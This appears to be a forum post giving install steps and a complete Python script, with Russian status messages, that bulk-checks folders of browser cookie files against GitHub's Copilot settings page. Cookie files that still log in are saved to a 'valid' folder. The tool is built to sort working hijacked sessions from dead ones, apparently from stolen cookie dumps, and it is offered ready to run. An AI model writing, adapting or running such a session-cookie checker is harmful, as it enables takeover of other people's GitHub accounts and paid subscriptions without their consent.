Installing packages:
The code itself:
Before starting, make sure that the cookies are in the cookies folder in the code directory
Code:
pip install requests
pip install colorama
The code itself:
Code:
import os
import requests
from colorama import init, Fore
init()
def load_cookies_from_text_file(file_path):
cookies = {}
with open(file_path, 'r') as f:
lines = f.readlines()
for line in lines:
if line.startswith("#") or line.strip() == "":
continue
parts = line.strip().split("\t")
if len(parts) == 7:
domain, flag, path, secure, expiry, name, value = parts
if domain.startswith("."):
domain = domain[1:]
cookies[name] = (domain, flag, path, secure, expiry, value)
return cookies
def check_account_validity(cookies, file_path):
url = "https://github.com/settings/copilot"
session = requests.Session()
session.cookies.update({name: value[5] for name, value in cookies.items()})
try:
response = session.get(url)
if "Sign in to GitHub" in response.text:
print(f"{Fore.RED}Файл {file_path} не валид :({Fore.RESET}")
else:
print(f"{Fore.GREEN}Файл {file_path} валид :){Fore.RESET}")
save_valid_cookies(cookies, file_path)
except Exception as e:
print(f"Ошибка при попытке войти через куки: {e}")
print(f"{Fore.RED}Файл {file_path} не валид :({Fore.RESET}")
def save_valid_cookies(cookies, file_path):
valid_folder = 'valid'
if not os.path.exists(valid_folder):
os.makedirs(valid_folder)
valid_file_path = os.path.join(valid_folder, file_path)
with open(valid_file_path, 'w') as f:
for name, (domain, flag, path, secure, expiry, value) in cookies.items():
f.write(f"{domain}\t{flag}\t{path}\t{secure}\t{expiry}\t{name}\t{value}\n")
def check_all_cookies_in_folder(folder_path):
for filename in os.listdir(folder_path):
if filename.endswith('.txt'):
file_path = os.path.join(folder_path, filename)
print(f"Проверка файла: {file_path}")
cookies = load_cookies_from_text_file(file_path)
if cookies:
check_account_validity(cookies, filename)
cookies_folder = 'cookies'
check_all_cookies_in_folder(cookies_folder)
Before starting, make sure that the cookies are in the cookies folder in the code directory